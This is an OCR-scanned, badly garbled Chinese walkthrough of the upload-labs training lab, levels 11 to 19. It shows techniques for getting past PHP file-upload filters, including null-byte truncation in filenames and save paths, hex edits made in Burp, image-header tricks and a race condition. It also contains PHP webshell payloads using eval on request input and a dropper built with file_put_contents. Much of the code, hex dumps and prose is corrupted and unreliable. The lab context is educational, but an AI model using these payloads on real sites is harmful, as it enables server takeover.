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pass-11
BEHEN:

if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
array(".php",".php5",".php4"," } 2",".html"," .htm",".phtml",".pht",".pHp",".p > .pHpP4
tr1m(s_F_LE>['Lplo

~N U R W N

8
=
9

strtolower($file_
str_ireplace(’

@

trim($file

=
=

if (!in_array($fil
temp_file = $_FILES['
_path = UPLOAD_PATH.
if (move_uploaded_file($

%
$
$is_upload = ]

} else {

$msg =

KI B BRGELTT AMOEPLIE, H AT BT PA2K %002k B

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64; rv:77.0) Gecko/Z0100101 Firefox/77.0

Accept: text/html, application/xzhtml+zml, application/xml;q=0.9, image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;qg=0.8,zh-TW;qg=0.7,zh-HE;qg=0.5,en-Ug;g=0.3,en;q=0.2

& Accept-Encoding: gzip, deflate

7 Content-Type: multipart/form-data; boundary=—--------—--"-"-"-"-"-"""-"---————— 374511070027515529533006476095
& Content-Length: 3250

9 Origin: http://www.gohosts.com

) Connection: close

1 Referer: http://www.gohosts.com/upload-labs-master/Pass-10/index. php?action=show_code

2 Upgrade-Insecure-Requests: 1

ok

= W

————————————————————————————— 374511070027515529533006476085

Content-Disposition: form-data; name="upload file"; filename="12Z3.php%00.jpg"
Content-Type: image/jpeg
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PHP Version 5.4.45 Php

System Windows NT DESKTOP-BDDAUGF 6.2 build 9200 (Windows 8 Business Edition) i586
Build Date Sep 2 2015 23:45:53

Compiler MSVCS (Visual C++ 2008)

Architecture x86

Configure cscript /nologo configure js "—enable-snapshot-build” "--disable-isapi" "-enable-debug-pack”
Mammand " oamithart maceal™ " ownithart nda maecal" T oaithant mi2uah! " oith nda A= inkin sdllaraela

pass-12
BEIHEG:

if(isset($_POST] "submit'])){
t_arr = array('jpg',"’
file_ext = substr($_FILE )load_file'][° e'], $ FILES['upload_file"][ ‘name"]
if(in_array($file t_arr)){

temp_file \d 'upload_file']['tmp_name"'];

&
!

$img_path = $_ save_p '1."/" .rand( ) .date("YmdHi

if(move_uploaded file($temp_file,$img_path)){

5E—XARRAKREX—KEH T postEZ TR, postttis H AALTURLER, B IEIRAIABE B 218 FH %007 i .
RATFBEAEburp T 7EHex & 24 75 % 00 AL T .«

£ LUBL. Wwe. gULUDLD. LU
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:77.0) Gecko/20100101 Firefox/77.0

Accept: text/html, application/zhtml+xml,application/=ml;q=0.9, image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;g=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=--——-—----"--"--"—-"——————————— 505438582711264834722553884053
9 Content-Length: 3371

9 Origin: http://www.gohosts.com

) Connection: close

1 Referer: http://www.gohosts.com/upload-labs-master/Pass-13/1index. php?action=show_code

Z Upgrade-Insecure-Requests: 1

S

4 50643892711264834722553884953

5 Content—DiEposityorm—data; name="save_path"

./upload/123. phpa
B | 50643892711264834722553884953

9 Content-Disposition: form-data; name="upload_file"; filename="123.jpg"
J Content-Type: image/jpeqg
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B hex fEatric T, L6100 GX RN aR N T 75 EHR B BB H0O

2 te Ja 20 63 tc o6t 3 o] Od Oa 52 5} 656 5} 2 ga n: closeRefere
3 72 3a 20 68 74 74 70 3a 2 of 7 77 7 2e 67 6t r- hitp:/Awww.go
4 68 6t 73 74 73 2e 63 6t 6d 2f 75 70 6c 6t 61 64 hosts.com/upload
3 2d 6c 61 62 73 2d 6d 61 73 T4 65 72 2t 50 61 73 -labs-master/Pas
3 73 2d 31 33 2f 69 Ge 64 65 78 2e 70 68 70 3t 61 s-13/index php?a
7 /3 T4 A9 6t fe 3d 73 68 6i 77 At (3K 6t /4 (3551 0d ction=show code



Oa 55 70 67 72 61 64 65 2d 49 Ge 73 65 63 75 72 Upgrade-Insecur

3
Bl 65 2d 52 65 71 75 65 73 74 73 Ja 20 31 0d Oa 0d e-Requests: 1
El Oa 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
bl 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 39 39
: 38 38 32 35 30 36 32 38 31 36 31 32 35 31 39 31 8825062816125191
i 37 33 31 39 34 33 38 31 37 32 31 0d Oa 43 61 6e 73194381721Con
74 63 Ge 74 2d 44 69 73 70 af 73 69 74 69 6i Be tent-Disposition
3a 20 66 61 72 6d 2d 64 61 74 61 3b 20 6e 61 6d - form-data; nam
] 65 3d 22 3 61 76 65 St 70 61 74 68 22 0d Oa 0d e="save_path"
1 Oa 2e 2e 2 75 70 6c 6t 61 64 2 31 32 33 2e 70 _lupload/123.p
2 68 70 0d Oa 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d hpa-—--—m
3 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
4 2d 2d 33 39 38 38 32 35 30 36 32 38 31 36 31 32 --39882506281612
3 35 31 39 31 37 33 3 39 34 33 38 31 37 32 31 0d 519173194381721
3 Oa 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 Content-Disposi |

pass-13—pass16

XJLRERE D5 .

pass-13 BEE:E H G5t

pass-14 getimagesize & } 5B g5t

pass-15 php_exifiEdi B K7 g5

pass-16 —{KRiE Jebeit
HELE-NERDHTUSE, ZERAEER.

BFR, BT M E— SRR 4
B RSB FIRU  F—ASEERTD, B SO AT B B S R R

TR AR AT RETFRIT A R T AN RIS U T RIAT, T ERNIZY T RS BRI RMT SR, K2
BT %

SRR LB R 1 B L 09 R AR SRR R AT L R AR P B, Bk 2 ISR X Coritical section) , ISR
B AN & KA T4 5 1

ERIMBRTI AR LA (G ARER—AZHENO R R , FAOMIRE R0, KOERRT 5%,

MBAT AR EES?
— B S BATR L2 T XM, LETHEEREREHFE NS ESE EALMEESMER T, WA ER &S, BATER L
FAunlink, A2 BRSO BR BU AT S 4 .

RANEAWH LA R A, RERFEIR A7 AR B4 EERSCERaE, RATBITIRMRS B[R B FET, B
PATH R ER AR, MRBXG EEEE, HEAGMER, BAOETRRE, RE@REHHET, SARMTURITPHPT ,
BATHLLL AR 5525 F &R T~

YRAT B EAE— A phpREVTHJE, HXphpEE—15

<?php $a = '<?php @eval($ REQUEST[\'a\'])?>';file put contents('l.php',%$a)?>

pass-17 %4k &4
FEaFM RS 2 L FHARR T, RATHburpEINER G ZBBEMAT, —NAW btg, — AW .

pass-18 %1 35 4+
X—REhr B RFM TS, RAAEMT EMEE, HLER—HKN, AAEX—XRE LERRFD, REMEHbupilEBReg, —
AW EAE—ADAWT I . (X —KFbug, B B EA— & REHLH K)

pass-19
BEIEG:

$deny_ext = Er‘r‘ay( "Php", ||php5|| s "php4", ||php3|| s ||php2||' "html" s "htm" s "phtml" s "pht" s "jSp" s "jspa", "jspx" s "jSW" s "j |

$file name = $_POST['save_name'];
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if(lin_array($file_ext,$deny_ext)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;




$1s_upload = true;
}else{
$msg = ' LERM! '

}
Jelse{

$msg =

} else {
$msg = $UPLOAD_ADDR . '

XN R—AN00%MT, AN Z BT H %008 X 7, XWAHERE—H, XREEZERME T move_uploaded_file(), XEZ#
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Opz+0, D& 0y mO. 6J@5F00M56 I A00X>et0os | 04p0: DOOOTEND®E " O<?php @eval (5_REQUEST['a']) ?>;
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Content-Disposition: form-data; name="save name"

upload-19. phpO
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Content-Disposition: form-data; name="submit"

38 a4 0Oak

FEHexH1 4261503400

el vt oi 1 ed 23 w vl es ve re 1] 3 wu v ce iC] yued|Tav~LAR.” A
e2 6a el Oa 4 70 19 56 c6 73 ba 49 82 07 2c 29 59 jadpOVASIOO,)Y r
[=X] 12 ad 82 40 9d 45 62 ce c9 ed 4b 99 69 e8 c5 43 O-O@CEbIEKDIAC

ed fe 36 06 90 2f 2f f6 of 52 1e 49 el 28 32 bb 8b pBOO/BORDIE(2»1

e5 24 69 ca c5 do c7 7d od b5 2f of 84 3d Oc 43 27 SIEADC)Op/00=AC'

eb 2d 32 07 17 91 79 54 Ge 49 46 1 86 dc c5 db fe -2000yTnIFAOUAUD

e7 75 96 c8 2c 62 a3 ct 3 7 fc 75 df 43 42 84 di UDE bfAG+IuOCBOR

ed 20 14 do dg b1 92 ed db 83 id a8 6d 8b 2e :D@t:,:éﬂ:y"'m:,

e9 36 4a ae 35 ds 90 i} 6 49 df 8 1t 58 3e 6J®5@0

ea 65 ] 1t 6t 8 7b b5 14 3a 00 00 00 00 49 etDoe{JauCl

eb 45 de 44 ae 42 60 3 70 68 70 20 40 65 76 END®B' O<?php @ev

ec 61 6c 28 24 5f 52 55 45 53 54 5b 27 61 27 al($_REQUEST[a'

ed 5d 29 3 3e 3b 0d 2d 2d 2d 2d 2d 2d 2d 2d

ee 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d -

et 2d 2d 2d 2d 3 32 32 3 34 31 33 30 32 38 127221413028

fo 37 34 36 od Oa 43 74 65 Ge 74 2d 44 69 73 746Content-Dis

il 70 6i 73 69 74 69 3a 20 66 6t 72 6d 2d 64 position: form-d

2 61 74 61 3b 20 Ge 65 3d 22 73 61 76 63 5 ata; name="save_

3 Ge 61 6d 65 22 0Od 0Oa 75 70 6c 61 61 64 2d name"upload-

4 31 39 2e 70 68 70 0Oa 2d 2d 2d 2d 2d 2d 2d

5 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
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